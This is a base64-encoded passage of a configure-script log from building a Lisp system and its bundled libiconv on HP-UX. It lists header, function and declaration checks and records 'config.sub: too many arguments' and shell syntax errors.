LnN1YjogdG9vIG1hbnkgYXJndW1lbnRzClRyeSBgY29uZmlnLnN1YiAtLWhlbHAnIGZvciBtb3Jl IGluZm9ybWF0aW9uLgoKY2hlY2tpbmcgZm9yIGlubGluZS4uLiBubwpjaGVja2luZyBmb3Igd29y a2luZyB2b2lkLi4uIHllcwpjaGVja2luZyBmb3Igd29ya2luZyAicmV0dXJuIHZvaWQiLi4uIG5v CmNoZWNraW5nIGZvciBsb25nIGxvbmcgdHlwZS4uLiB5ZXMKY2hlY2tpbmcgZm9yIEFOU0kgQyBo ZWFkZXIgZmlsZXMuLi4geWVzCmNoZWNraW5nIGZvciBvZmZzZXRvZiBpbiBzdGRkZWYuaC4uLiB5 ZXMKY2hlY2tpbmcgZm9yIHN0ZGJvb2wuaC4uLiBubwpjaGVja2luZyBmb3IgbG9jYWxlLmguLi4g eWVzCmNoZWNraW5nIGZvciB1bmlzdGQuaC4uLiB5ZXMKY2hlY2tpbmcgZm9yIHN5cy9maWxlLmgu Li4geWVzCmNoZWNraW5nIGZvciBSX09LIGluIHVuaXN0ZC5oLi4uIHllcwpjaGVja2luZyBmb3Ig c3lzL2ZpbGUuaC4uLiAoY2FjaGVkKSB5ZXMKY2hlY2tpbmcgZm9yIE9fUkRXUiBpbiBmY250bC5o Li4uIHllcwpjaGVja2luZyBmb3IgZGlyZW50LmggdGhhdCBkZWZpbmVzIERJUi4uLiB5ZXMKY2hl Y2tpbmcgZm9yIG9wZW5kaXIgaW4gLWxkaXIuLi4gbm8KY2hlY2tpbmcgZm9yIHN5cy91dHNuYW1l LmggYW5kIHN0cnVjdCB1dHNuYW1lLi4uIHllcwpjaGVja2luZyBmb3IgbmV0ZGIuaC4uLiB5ZXMK Y2hlY2tpbmcgZm9yIHN5cy9zaG0uaC4uLiB5ZXMKY2hlY2tpbmcgZm9yIHN5cy9pcGMuaC4uLiB5 ZXMKY2hlY2tpbmcgZm9yIHRlcm1pb3MuaC4uLiB5ZXMKY2hlY2tpbmcgZm9yIHRlcm1pby5oLi4u IHllcwpjaGVja2luZyBmb3Igc3lzL3Rlcm1pby5oLi4uIHllcwpjaGVja2luZyBmb3Igc2d0dHku aC4uLiB5ZXMKY2hlY2tpbmcgZm9yIHRjZ2V0YXR0ci4uLiB5ZXMKY2hlY2tpbmcgZm9yIHRjc2V0 YXR0ciBkZWNsYXJhdGlvbi4uLiAKICAgICAgICAgZXh0ZXJuIGludCB0Y3NldGF0dHIgKGludCwg aW50LCBzdHJ1Y3QgdGVybWlvcyAqKTsKY2hlY2tpbmcgZm9yIFRDU0FGTFVTSCBpbiB0ZXJtaW9z LmguLi4geWVzCmNoZWNraW5nIGZvciBzdHJ1Y3Qgd2luc2l6ZSBpbiB0ZXJtaW9zLmguLi4geWVz CmNoZWNraW5nIGZvciBYMTEKY2hlY2tpbmcgZm9yIHhta21mLi4uIHllcwpjaGVja2luZyBmb3Ig WC4uLiBsaWJyYXJpZXMgLCBoZWFkZXJzIApjaGVja2luZyBmb3IgY2FkZHJfdCBpbiBzeXMvdHlw ZXMuaC4uLiB5ZXMKY2hlY2tpbmcgZm9yIHNvY2tsZW5fdCBpbiBzeXMvc29ja2V0LmguLi4gbm8K Y2hlY2tpbmcgZm9yIGRfbmFtbGVuIGluIHN0cnVjdCBkaXJlbnQuLi4geWVzCmNoZWNraW5nIGZv ciBzdHJ1Y3QgdG0gaW4gc3lzL3RpbWUuaC4uLiB5ZXMKY2hlY2tpbmcgZm9yIHN0cmxlbiBkZWNs YXJhdGlvbi4uLiAKICAgICAgICAgZXh0ZXJuIHNpemVfdCBzdHJsZW4gKGNvbnN0IGNoYXIqKTsK Y2hlY2tpbmcgZm9yIG1lbXNldCBkZWNsYXJhdGlvbi4uLiAKICAgICAgICAgZXh0ZXJuIHZvaWQq IG1lbXNldCAodm9pZCosIGludCwgc2l6ZV90KTsKY2hlY2tpbmcgZm9yIGJyb2tlbiBIUC9VWCBt YWxsb2MuLi4gbm8KY2hlY2tpbmcgZm9yIG1hbGxvYyBkZWNsYXJhdGlvbi4uLiAKICAgICAgICAg ZXh0ZXJuIHZvaWQqIG1hbGxvYyAodW5zaWduZWQgaW50KTsKY2hlY2tpbmcgZm9yIGZyZWUgZGVj bGFyYXRpb24uLi4gCiAgICAgICAgIGV4dGVybiB2b2lkIGZyZWUgKHZvaWQqKTsKY2hlY2tpbmcg Zm9yIHdvcmtpbmcgYWxsb2NhLmguLi4geWVzCmNoZWNraW5nIGZvciBhbGxvY2EuLi4geWVzCmNo ZWNraW5nIGZvciBfc2V0am1wLi4uIHllcwpjaGVja2luZyBmb3IgX2xvbmdqbXAuLi4geWVzCmNo ZWNraW5nIHJldHVybiB0eXBlIG9mIHNpZ25hbCBoYW5kbGVycy4uLiB2b2lkCmNoZWNraW5nIHdo ZXRoZXIgdGhlIHNpZ25hbCBoYW5kbGVyIGZ1bmN0aW9uIHR5cGUgbmVlZHMgZG90cy4uLiBubwpj aGVja2luZyBmb3Igc2lnaG9sZC4uLiB5ZXMKY2hlY2tpbmcgZm9yIHNpZ3Byb2NtYXNrLi4uIHll cwpjaGVja2luZyBmb3Igc2lnYmxvY2suLi4geWVzCmNoZWNraW5nIGZvciBzaWduYWwgYmxvY2tp bmcgaW50ZXJmYWNlcy4uLiBTeXN0ZW1WIFBPU0lYIEJTRApjaGVja2luZyBmb3Igc2lncHJvY21h c2sgZGVjbGFyYXRpb24uLi4gCiAgICAgICAgIGV4dGVybiBpbnQgc2lncHJvY21hc2sgKGludCwg Y29uc3Qgc2lnc2V0X3QqLCBzaWdzZXRfdCopOwpjaGVja2luZyB3aGV0aGVyIHNpZ25hbCBoYW5k bGVycyBuZWVkIHRvIGJlIHJlaW5zdGFsbGVkLi4uIHllcwpjaGVja2luZyB3aGV0aGVyIHNpZ25h bHMgYXJlIGJsb2NrZWQgd2hlbiBzaWduYWwgaGFuZGxlcnMgYXJlIGVudGVyZWQuLi4gbm8KY2hl Y2tpbmcgd2hldGhlciBvdGhlciBzaWduYWxzIGFyZSBibG9ja2VkIHdoZW4gc2lnbmFsIGhhbmRs ZXJzIGFyZSBlbnRlcmVkLi4uIG5vCmNoZWNraW5nIGZvciBzaWdhY3Rpb24uLi4geWVzCmNoZWNr aW5nIHdoZXRoZXIgc2lnYWN0aW9uIGhhbmRsZXJzIG5lZWQgdG8gYmUgcmVpbnN0YWxsZWQuLi4g bm8KY2hlY2tpbmcgd2hldGhlciBzaWduYWxzIGFyZSBibG9ja2VkIHdoZW4gc2lnYWN0aW9uIGhh bmRsZXJzIGFyZSBlbnRlcmVkLi4uIHllcwpjaGVja2luZyBmb3Igc2lnaW50ZXJydXB0Li4uIHll cwpjaGVja2luZyBmb3IgZnB1X2NvbnRyb2xfdC4uLiBubwpjaGVja2luZyBmb3IgX19zZXRmcHVj dy4uLiBubwpjaGVja2luZyBmb3IgcmFpc2UuLi4geWVzCmNoZWNraW5nIGZvciBhYm9ydCBkZWNs YXJhdGlvbi4uLiAKICAgICAgICAgZXh0ZXJuIHZvaWQgYWJvcnQgKHZvaWQpOwpjaGVja2luZyBm b3IgcGVycm9yIGRlY2xhcmF0aW9uLi4uIHllcwpjaGVja2luZyBmb3Igc3RyZXJyb3IuLi4geWVz CmNoZWNraW5nIGZvciBzeXNfZXJybGlzdCBkZWNsYXJhdGlvbi4uLiAKICAgICAgICAgZXh0ZXJu IGNoYXIqIHN5c19lcnJsaXN0W107CmNoZWNraW5nIGZvciBnZXRlbnYgZGVjbGFyYXRpb24uLi4g CiAgICAgICAgIGV4dGVybiBjaGFyKiBnZXRlbnYgKGNvbnN0IGNoYXIqKTsKY2hlY2tpbmcgZm9y IHB1dGVudi4uLiB5ZXMKY2hlY2tpbmcgZm9yIHB1dGVudiBkZWNsYXJhdGlvbi4uLiAKICAgICAg ICAgZXh0ZXJuIGludCBwdXRlbnYgKGNvbnN0IGNoYXIqKTsKY2hlY2tpbmcgZm9yIHNldGxvY2Fs ZSBkZWNsYXJhdGlvbi4uLiAKICAgICAgICAgZXh0ZXJuIGNoYXIqIHNldGxvY2FsZSAoaW50LCBj b25zdCBjaGFyKik7CmNoZWNraW5nIGZvciBzZXRybGltaXQuLi4geWVzCmNoZWNraW5nIGZvciBn ZXRybGltaXQgZGVjbGFyYXRpb24uLi4gCiAgICAgICAgIGV4dGVybiBpbnQgZ2V0cmxpbWl0IChp bnQsIHN0cnVjdCBybGltaXQgKik7CmNoZWNraW5nIGZvciBzZXRybGltaXQgZGVjbGFyYXRpb24u Li4gCiAgICAgICAgIGV4dGVybiBpbnQgc2V0cmxpbWl0IChpbnQsIGNvbnN0IHN0cnVjdCBybGlt aXQgKik7CmNoZWNraW5nIGZvciBBTlNJIEMgaGVhZGVyIGZpbGVzLi4uIHllcwpjaGVja2luZyBm b3IgcGlkX3QuLi4geWVzCmNoZWNraW5nIGZvciB2Zm9yay5oLi4uIG5vCmNoZWNraW5nIGZvciB3 b3JraW5nIHZmb3JrLi4uIHllcwpjaGVja2luZyBmb3IgdmZvcmsgZGVjbGFyYXRpb24uLi4gCiAg ICAgICAgIGV4dGVybiBwaWRfdCB2Zm9yayAodm9pZCk7CmNoZWNraW5nIGZvciBzZXRzaWQuLi4g eWVzCmNoZWNraW5nIGZvciBzZXRwZ2lkLi4uIHllcwpjaGVja2luZyBmb3IgZXhlY3YgZGVjbGFy YXRpb24uLi4gCiAgICAgICAgIGV4dGVybiBpbnQgZXhlY3YgKGNvbnN0IGNoYXIqLCBjaGFyKiBj b25zdFtdKTsKY2hlY2tpbmcgZm9yIGV4ZWNsIGRlY2xhcmF0aW9uLi4uIAogICAgICAgICBleHRl cm4gaW50IGV4ZWNsIChjb25zdCBjaGFyKiwgY29uc3QgY2hhciosIC4uLik7CmNoZWNraW5nIGZv ciB3YWl0cGlkIGRlY2xhcmF0aW9uLi4uIAogICAgICAgICBleHRlcm4gcGlkX3Qgd2FpdHBpZCAo cGlkX3QsIGludCosIGludCk7CmNoZWNraW5nIGZvciBzeXMvcmVzb3VyY2UuaC4uLiB5ZXMKY2hl Y2tpbmcgZm9yIHN5cy90aW1lcy5oLi4uIHllcwpjaGVja2luZyBmb3IgZ2V0cnVzYWdlLi4uIHll cwpjaGVja2luZyBmb3IgZ2V0cnVzYWdlIGRlY2xhcmF0aW9uLi4uIAogICAgICAgICBleHRlcm4g aW50IGdldHJ1c2FnZSAoaW50LCBzdHJ1Y3QgcnVzYWdlICopOwpjaGVja2luZyBmb3IgZ2V0Y3dk Li4uIHllcwpjaGVja2luZyBmb3IgZ2V0Y3dkIGRlY2xhcmF0aW9uLi4uIAogICAgICAgICBleHRl cm4gY2hhciogZ2V0Y3dkIChjaGFyKiwgc2l6ZV90KTsKY2hlY2tpbmcgZm9yIGNoZGlyIGRlY2xh cmF0aW9uLi4uIAogICAgICAgICBleHRlcm4gaW50IGNoZGlyIChjb25zdCBjaGFyKik7CmNoZWNr aW5nIGZvciBta2RpciBkZWNsYXJhdGlvbi4uLiAKICAgICAgICAgZXh0ZXJuIGludCBta2RpciAo Y29uc3QgY2hhciosIG1vZGVfdCk7CmNoZWNraW5nIGZvciBybWRpciBkZWNsYXJhdGlvbi4uLiAK ICAgICAgICAgZXh0ZXJuIGludCBybWRpciAoY29uc3QgY2hhciopOwpjaGVja2luZyB3aGV0aGVy IHN0YXQgZmlsZS1tb2RlIG1hY3JvcyBhcmUgYnJva2VuLi4uIG5vCmNoZWNraW5nIGZvciBmc3Rh dCBkZWNsYXJhdGlvbi4uLiAKICAgICAgICAgZXh0ZXJuIGludCBmc3RhdCAoaW50LCBzdHJ1Y3Qg c3RhdCAqKTsKY2hlY2tpbmcgZm9yIHN0YXQgZGVjbGFyYXRpb24uLi4gCiAgICAgICAgIGV4dGVy biBpbnQgc3RhdCAoY29uc3QgY2hhciosIHN0cnVjdCBzdGF0ICopOwpjaGVja2luZyBmb3IgbHN0 YXQuLi4geWVzCmNoZWNraW5nIGZvciBsc3RhdCBkZWNsYXJhdGlvbi4uLiAKICAgICAgICAgZXh0 ZXJuIGludCBsc3RhdCAoY29uc3QgY2hhciosIHN0cnVjdCBzdGF0ICopOwpjaGVja2luZyBmb3Ig cmVhZGxpbmsuLi4geWVzCmNoZWNraW5nIGZvciByZWFkbGluayBkZWNsYXJhdGlvbi4uLiAKICAg ICAgICAgZXh0ZXJuIGludCByZWFkbGluayAoY29uc3QgY2hhciosIGNoYXIqLCBzaXplX3QpOwpj aGVja2luZyBmb3IgRUxPT1AuLi4geWVzCmNoZWNraW5nIGZvciBvcGVuZGlyIGRlY2xhcmF0aW9u Li4uIAogICAgICAgICBleHRlcm4gRElSKiBvcGVuZGlyIChjb25zdCBjaGFyKik7CmNoZWNraW5n IGZvciBjbG9zZWRpciBkZWNsYXJhdGlvbi4uLiAKICAgICAgICAgZXh0ZXJuIGludCBjbG9zZWRp ciAoRElSKik7CmNoZWNraW5nIGZvciB1c2FibGUgY2xvc2VkaXIgcmV0dXJuIHZhbHVlLi4uIHll cwpjaGVja2luZyBmb3Igb3BlbiBkZWNsYXJhdGlvbi4uLiAKICAgICAgICAgZXh0ZXJuIGludCBv cGVuIChjb25zdCBjaGFyKiwgaW50LCAuLi4pOwpjaGVja2luZyBmb3IgcmVhZCBkZWNsYXJhdGlv bi4uLiAKICAgICAgICAgZXh0ZXJuIGludCByZWFkIChpbnQsIHZvaWQqLCBzaXplX3QpOwpjaGVj a2luZyBmb3Igd3JpdGUgZGVjbGFyYXRpb24uLi4gCiAgICAgICAgIGV4dGVybiBpbnQgd3JpdGUg KGludCwgY29uc3Qgdm9pZCosIHNpemVfdCk7CmNoZWNraW5nIGZvciByZW5hbWUgZGVjbGFyYXRp b24uLi4gCiAgICAgICAgIGV4dGVybiBpbnQgcmVuYW1lIChjb25zdCBjaGFyKiwgY29uc3QgY2hh ciopOwpjaGVja2luZyBmb3IgdW5saW5rIGRlY2xhcmF0aW9uLi4uIAogICAgICAgICBleHRlcm4g aW50IHVubGluayAoY29uc3QgY2hhciopOwpjaGVja2luZyBmb3IgZnN5bmMuLi4geWVzCmNoZWNr aW5nIGZvciBpb2N0bCBkZWNsYXJhdGlvbi4uLiAKICAgICAgICAgZXh0ZXJuIGludCBpb2N0bCAo aW50LCBpbnQsIC4uLik7CmNoZWNraW5nIGZvciBGSU9OUkVBRC4uLiB5ZXMKY2hlY2tpbmcgZm9y IHJlbGlhYmxlIEZJT05SRUFELi4uIHllcwpjaGVja2luZyBmb3IgZmNudGwgZGVjbGFyYXRpb24u Li4gCiAgICAgICAgIGV4dGVybiBpbnQgZmNudGwgKGludCwgaW50LCAuLi4pOwpjaGVja2luZyBm b3Igc2VsZWN0Li4uIHllcwpjaGVja2luZyBmb3Igc3lzL3NlbGVjdC5oLi4uIG5vCmNoZWNraW5n IGZvciBzZWxlY3QgZGVjbGFyYXRpb24uLi4gCiAgICAgICAgIGV4dGVybiBpbnQgc2VsZWN0IChp bnQsIGZkX3NldCAqLCBmZF9zZXQgKiwgZmRfc2V0ICosIHN0cnVjdCB0aW1ldmFsICopOwpjaGVj a2luZyBmb3IgdWFsYXJtLi4uIHllcwpjaGVja2luZyBmb3Igc2V0aXRpbWVyLi4uIHllcwpjaGVj a2luZyBmb3Igc2V0aXRpbWVyIGRlY2xhcmF0aW9uLi4uIAogICAgICAgICBleHRlcm4gaW50IHNl dGl0aW1lciAoaW50LCBjb25zdCBzdHJ1Y3QgaXRpbWVydmFsICosIHN0cnVjdCBpdGltZXJ2YWwg Kik7CmNoZWNraW5nIGZvciB1c2xlZXAuLi4geWVzCmNoZWNraW5nIGZvciBsb2NhbHRpbWUgZGVj bGFyYXRpb24uLi4gCiAgICAgICAgIGV4dGVybiBzdHJ1Y3QgdG0gKiBsb2NhbHRpbWUgKGNvbnN0 IHRpbWVfdCopOwpjaGVja2luZyBmb3IgZ2V0dGltZW9mZGF5Li4uIHllcwpjaGVja2luZyBmb3Ig Z2V0dGltZW9mZGF5IGRlY2xhcmF0aW9uLi4uIAogICAgICAgICBleHRlcm4gaW50IGdldHRpbWVv ZmRheSAoc3RydWN0IHRpbWV2YWwgKiwgdm9pZCAqKTsKY2hlY2tpbmcgZm9yIGZ0aW1lLi4uIHll cwpjaGVja2luZyBmb3IgZ2V0cHduYW0gZGVjbGFyYXRpb24uLi4gCiAgICAgICAgIGV4dGVybiBz dHJ1Y3QgcGFzc3dkICogZ2V0cHduYW0gKGNvbnN0IGNoYXIqKTsKY2hlY2tpbmcgZm9yIGdldHB3 dWlkIGRlY2xhcmF0aW9uLi4uIAogICAgICAgICBleHRlcm4gc3RydWN0IHBhc3N3ZCAqIGdldHB3 dWlkICh1aWRfdCk7CmNoZWNraW5nIGZvciBnZXRob3N0bmFtZS4uLiB5ZXMKY2hlY2tpbmcgZm9y IGdldGhvc3RuYW1lIGRlY2xhcmF0aW9uLi4uIAogICAgICAgICBleHRlcm4gaW50IGdldGhvc3Ru YW1lIChjaGFyKiwgc2l6ZV90KTsKY2hlY2tpbmcgZm9yIGdldGhvc3RieW5hbWUgZGVjbGFyYXRp b24uLi4gCiAgICAgICAgIGV4dGVybiBzdHJ1Y3QgaG9zdGVudCAqIGdldGhvc3RieW5hbWUgKGNv bnN0IGNoYXIqKTsKY2hlY2tpbmcgZm9yIGNvbm5lY3QgZGVjbGFyYXRpb24uLi4gCiAgICAgICAg IGV4dGVybiBpbnQgY29ubmVjdCAoaW50LCBjb25zdCB2b2lkKiwgaW50KTsKY2hlY2tpbmcgZm9y IHN5cy91bi5oLi4uIHllcwpjaGVja2luZyBmb3Igc3VuX2xlbiBpbiBzdHJ1Y3Qgc29ja2FkZHJf dW4uLi4gbm8KY2hlY2tpbmcgZm9yIElQdjQgc29ja2V0cy4uLiB5ZXMKY2hlY2tpbmcgZm9yIElQ djYgc29ja2V0cy4uLiBubwpjaGVja2luZyBmb3IgSVB2NiBzb2NrZXRzIGluIGxpbnV4L2luNi5o Li4uIG5vCmNoZWNraW5nIGZvciBpbmV0X3B0b24uLi4gbm8KY2hlY2tpbmcgZm9yIGluZXRfbnRv cC4uLiBubwpjaGVja2luZyBmb3IgbmV0aW5ldC9pbi5oLi4uIHllcwpjaGVja2luZyBmb3IgYXJw YS9pbmV0LmguLi4geWVzCmNoZWNraW5nIGZvciBpbmV0X2FkZHIgZGVjbGFyYXRpb24uLi4gCiAg ICAgICAgIGV4dGVybiB1bnNpZ25lZCBsb25nIGluZXRfYWRkciAoY29uc3QgY2hhciopOwpjaGVj a2luZyBmb3IgbmV0aW5ldC90Y3AuaC4uLiB5ZXMKY2hlY2tpbmcgZm9yIHNldHNvY2tvcHQgZGVj bGFyYXRpb24uLi4gCiAgICAgICAgIGV4dGVybiBpbnQgc2V0c29ja29wdCAoaW50LCBpbnQsIGlu dCwgY29uc3Qgdm9pZCosIGludCk7CmNoZWNraW5nIGZvciB0aGUgY29kZSBhZGRyZXNzIHJhbmdl Li4uIDB4NDAwMDAwMDAKY2hlY2tpbmcgZm9yIHRoZSBtYWxsb2MgYWRkcmVzcyByYW5nZS4uLiAw eDQwMDAwMDAwCmNoZWNraW5nIGZvciB0aGUgc2hhcmVkIGxpYnJhcnkgYWRkcmVzcyByYW5nZS4u LiAweDdCMDAwMDAwCmNoZWNraW5nIGZvciB0aGUgc3RhY2sgYWRkcmVzcyByYW5nZS4uLiAweDdC MDAwMDAwCmNoZWNraW5nIGZvciBnZXRwYWdlc2l6ZS4uLiB5ZXMKY2hlY2tpbmcgZm9yIGdldHBh Z2VzaXplIGRlY2xhcmF0aW9uLi4uIAogICAgICAgICBleHRlcm4gaW50IGdldHBhZ2VzaXplICh2 b2lkKTsKY2hlY2tpbmcgZm9yIHZhZHZpc2UuLi4gbm8KY2hlY2tpbmcgZm9yIHZtX2FsbG9jYXRl Li4uIG5vCmNoZWNraW5nIGZvciBzeXMvbW1hbi5oLi4uIHllcwpjaGVja2luZyBmb3IgbW1hcC4u LiB5ZXMKY2hlY2tpbmcgZm9yIG1tYXAgZGVjbGFyYXRpb24uLi4gCiAgICAgICAgIGV4dGVybiB2 b2lkKiBtbWFwICh2b2lkKiwgc2l6ZV90LCBpbnQsIGludCwgaW50LCBvZmZfdCk7CmNoZWNraW5n IGZvciB3b3JraW5nIG1tYXAuLi4gbm8KY2hlY2tpbmcgZm9yIG11bm1hcC4uLiB5ZXMKY2hlY2tp bmcgZm9yIG1zeW5jLi4uIHllcwpjaGVja2luZyBmb3IgbXByb3RlY3QuLi4geWVzCmNoZWNraW5n IGZvciBtcHJvdGVjdCBkZWNsYXJhdGlvbi4uLiAKICAgICAgICAgZXh0ZXJuIGludCBtcHJvdGVj dCAodm9pZCosIHNpemVfdCwgaW50KTsKY2hlY2tpbmcgZm9yIHdvcmtpbmcgbXByb3RlY3QuLi4g eWVzCmNoZWNraW5nIGZvciBzaG1nZXQgZGVjbGFyYXRpb24uLi4gCiAgICAgICAgIGV4dGVybiBp bnQgc2htZ2V0IChrZXlfdCwgc2l6ZV90LCBpbnQpOwpjaGVja2luZyBmb3Igc2htYXQgZGVjbGFy YXRpb24uLi4gCiAgICAgICAgIGV4dGVybiB2b2lkKiBzaG1hdCAoaW50LCBjb25zdCB2b2lkKiwg aW50KTsKY2hlY2tpbmcgZm9yIHNobWR0IGRlY2xhcmF0aW9uLi4uIAogICAgICAgICBleHRlcm4g aW50IHNobWR0IChjb25zdCB2b2lkICopOwpjaGVja2luZyBmb3Igc2htY3RsIGRlY2xhcmF0aW9u Li4uIAogICAgICAgICBleHRlcm4gaW50IHNobWN0bCAoaW50LCBpbnQsIHN0cnVjdCBzaG1pZF9k cyAqKTsKY2hlY2tpbmcgZm9yIHdvcmtpbmcgc2hhcmVkIG1lbW9yeS4uLiBubwpjaGVja2luZyBm b3IgZGxvcGVuLi4uIG5vCmNoZWNraW5nIGZvciBpY29udi4uLiB5ZXMKY2hlY2tpbmcgZm9yIGlj b252IGRlY2xhcmF0aW9uLi4uIAogICAgICAgICBleHRlcm4gc2l6ZV90IGljb252IChpY29udl90 IGNkLCBjaGFyICogKmluYnVmLCBzaXplX3QgKmluYnl0ZXNsZWZ0LCBjaGFyICogKm91dGJ1Ziwg c2l6ZV90KiBvdXRieXRlc2xlZnQpOwpjaGVja2luZyBmb3IgdGdldGVudC4uLiBubwpjaGVja2lu ZyBmb3IgdGdldGVudCBpbiAtbG5jdXJzZXMuLi4gbm8KY2hlY2tpbmcgZm9yIHRnZXRlbnQgaW4g LWx0ZXJtY2FwLi4uIHllcwpjaGVja2luZyBmb3IgdGhlIHZhbGlkIGNoYXJhY3RlcnMgaW4gZmls ZW5hbWVzLi4uIDgtYml0CmNoZWNraW5nIGZvciBpbmxpbmUgX19idWlsdGluX3N0cmxlbi4uLiBu bwpjaGVja2luZyB3aGV0aGVyIGNoYXJhY3RlcnMgYXJlIHVuc2lnbmVkLi4uIG5vCmNoZWNraW5n IGZvciBpbnRlZ2VyIHR5cGVzIGFuZCBiZWhhdmlvdXIKY3JlYXRpbmcgaW50cGFyYW0uaAp1cGRh dGluZyBjYWNoZSAuL2NvbmZpZy5jYWNoZQpjcmVhdGluZyAuL2NvbmZpZy5zdGF0dXMKY3JlYXRp bmcgbWFrZW1ha2UKY3JlYXRpbmcgdW5peGNvbmYuaApleGVjdXRpbmcgYnVpbGQvbGliaWNvbnYv Y29uZmlndXJlIC4uLgpsb2FkaW5nIGNhY2hlIC4uL2NvbmZpZy5jYWNoZQpjb25maWd1cmVbNjY2 XTogU3ludGF4IGVycm9yIGF0IGxpbmUgMTMyIDogYD4nIGlzIG5vdCBleHBlY3RlZC4KY2hlY2tp bmcgd2hldGhlciBtYWtlIHNldHMgJChNQUtFKS4uLiB5ZXMKY2hlY2tpbmcgZm9yIGdjYy4uLiBj YyAtQWUgLXogLURfSFBVWF9TT1VSQ0UKY2hlY2tpbmcgd2hldGhlciB0aGUgQyBjb21waWxlciAo Y2MgLUFlIC16IC1EX0hQVVhfU09VUkNFICApIHdvcmtzLi4uIHllcwpjaGVja2luZyB3aGV0aGVy IHRoZSBDIGNvbXBpbGVyIChjYyAtQWUgLXogLURfSFBVWF9TT1VSQ0UgICkgaXMgYSBjcm9zcy1j b21waWxlci4uLiBubwpjaGVja2luZyB3aGV0aGVyIHdlIGFyZSB1c2luZyBHTlUgQy4uLiBubwpj aGVja2luZyBob3cgdG8gcnVuIHRoZSBDIHByZXByb2Nlc3Nvci4uLiBjYyAtQWUgLXogLURfSFBV WF9TT1VSQ0UgLUUKY2hlY2tpbmcgZm9yIHJhbmxpYi4uLiByYW5saWIKY2hlY2tpbmcgZm9yIGEg QlNEIGNvbXBhdGlibGUgaW5zdGFsbC4uLiAvb3B0L2ltYWtlL2Jpbi9pbnN0YWxsIC1jCmNoZWNr aW5nIGhvdyB0byBjb3B5IGZpbGVzLi4uIGNwIC1wCmNoZWNraW5nIGhvdyB0byBtYWtlIGhhcmQg bGlua3MuLi4gbG4KY2hlY2tpbmcgd2hldGhlciBsbiAtcyB3b3Jrcy4uLiB5ZXMKY2hlY2tpbmcg aG9zdCBzeXN0ZW0gdHlwZS4uLiBjb25maWcuc3ViOiB0b28gbWFueSBhcmd1bWVudHMKVHJ5IGBj b25maWcuc3ViIC0taGVscCcgZm9yIG1vcmUgaW5mb3JtYXRpb24uCgpjaGVja2luZyBmb3IgQUlY Li4uIG5vCmNoZWNraW5nIGZvciBtaW5peC9jb25maWcuaC4uLiBubwpjaGVja2luZyBmb3IgUE9T SVhpemVkIElTQy4uLiBubwpjaGVja2luZyBmb3Igb2JqZWN0IHN1ZmZpeC4uLiBvCmNoZWNraW5n IGZvciBDeWd3aW4gZW52aXJvbm1lbnQuLi4gbm8KY2hlY2tpbmcgZm9yIG1pbmd3MzIgZW52aXJv bm1lbnQuLi4gbm8KY2hlY2tpbmcgZm9yIGV4ZWN1dGFibGUgc3VmZml4Li4uIG5vCmNoZWNraW5n IGJ1aWxkIHN5c3RlbSB0eXBlLi4uIGNvbmZpZy5zdWI6IHRvbyBtYW55IGFyZ3VtZW50cwpUcnkg YGNvbmZpZy5zdWIgLS1oZWxwJyBmb3IgbW9yZSBpbmZvcm1hdGlvbi4KCmNoZWNraW5nIGZvciBu b24tR05VIGxkLi4uIC91c3IvYmluL2xkCmNoZWNraW5nIGlmIHRoZSBsaW5rZXIgKC91c3IvYmlu L2xkKSBpcyBHTlUgbGQuLi4gbm8KY2hlY2tpbmcgZm9yIC91c3IvYmluL2xkIG9wdGlvbiB0byBy ZWxvYWQgb2JqZWN0IGZpbGVzLi4uIC1yCmNoZWNraW5nIGZvciBCU0QtY29tcGF0aWJsZSBubS4u LiAvdXNyL2Jpbi9ubSAtcApjaGVja2luZyBob3cgdG8gcmVjb2duaXNlIGRlcGVuZGFudCBsaWJy YXJpZXMuLi4gdW5rbm93bgpjaGVja2luZyBjb21tYW5kIHRvIHBhcnNlIC91c3IvYmluL25tIC1w IG91dHB1dC4uLiBmYWlsZWQKY2hlY2tpbmcgZm9yIGRsZmNuLmguLi4gbm8KY2hlY2tpbmcgZm9y IC91c3IvY2NzL2Jpbi9sZC4uLiAoY2FjaGVkKSByYW5saWIKY2hlY2tpbmcgZm9yIC91c3IvY2Nz L2Jpbi9sZC4uLiBubwpjaGVja2luZyBmb3Igc3RyaXAuLi4gc3RyaXAKY2hlY2tpbmcgZm9yIG9i amRpci4uLiAubGlicwpjaGVja2luZyBmb3IgY2Mgb3B0aW9uIHRvIHByb2R1Y2UgUElDLi4uIG5v bmUKY2hlY2tpbmcgaWYgY2Mgc3RhdGljIGZsYWcgIHdvcmtzLi4uIHllcwpjaGVja2luZyBpZiBj YyBzdXBwb3J0cyAtYyAtbyBmaWxlLm8uLi4geWVzCmNoZWNraW5nIGlmIGNjIHN1cHBvcnRzIC1j IC1vIGZpbGUubG8uLi4gCmNoZWNraW5nIHdoZXRoZXIgdGhlIGxpbmtlciAoL3Vzci9iaW4vbGQp IHN1cHBvcnRzIHNoYXJlZCBsaWJyYXJpZXMuLi4gbm8KY2hlY2tpbmcgaG93IHRvIGhhcmRjb2Rl IGxpYnJhcnkgcGF0aHMgaW50byBwcm9ncmFtcy4uLiB1bnN1cHBvcnRlZApjaGVja2luZyB3aGV0 aGVyIHN0cmlwcGluZyBsaWJyYXJpZXMgaXMgcG9zc2libGUuLi4gbm8KY2hlY2tpbmcgZHluYW1p YyBsaW5rZXIgY2hhcmFjdGVyaXN0aWNzLi4uIG5vCmNoZWNraW5nIGlmIGxpYnRvb2wgc3VwcG9y dHMgc2hhcmVkIGxpYnJhcmllcy4uLiBubwpjcmVhdGluZyBsaWJ0b29sCmNoZWNraW5nIGZvciBs b2NhbGUuaC4uLiB5ZXMKY2hlY2tpbmcgZm9yIHN0ZGxpYi5oLi4uIHllcwpjaGVja2luZyBmb3Ig bWJzdGF0ZV90Li4uIG5vCmNoZWNraW5nIGZvciBpY29udi4uLiB5ZXMKY2hlY2tpbmcgZm9yIGlj b252IGRlY2xhcmF0aW9uLi4uIAogICAgICAgICBleHRlcm4gc2l6ZV90IGljb252IChpY29udl90 IGNkLCBjaGFyICogKmluYnVmLCBzaXplX3QgKmluYnl0ZXNsZWZ0LCBjaGFyICogKm91dGJ1Ziwg c2l6ZV90KiBvdXRieXRlc2xlZnQpOwpjaGVja2luZyBmb3IgbWJydG93Yy4uLiBubwpjaGVja2lu ZyBmb3Igd2NydG9tYi4uLiBubwpjaGVja2luZyBmb3IgbWJzaW5pdC4uLiBubwpjaGVja2luZyBm b3Igc2V0bG9jYWxlLi4uIHllcwpjaGVja2luZyBieXRlIG9yZGVyaW5nLi4uIGJpZyBlbmRpYW4K 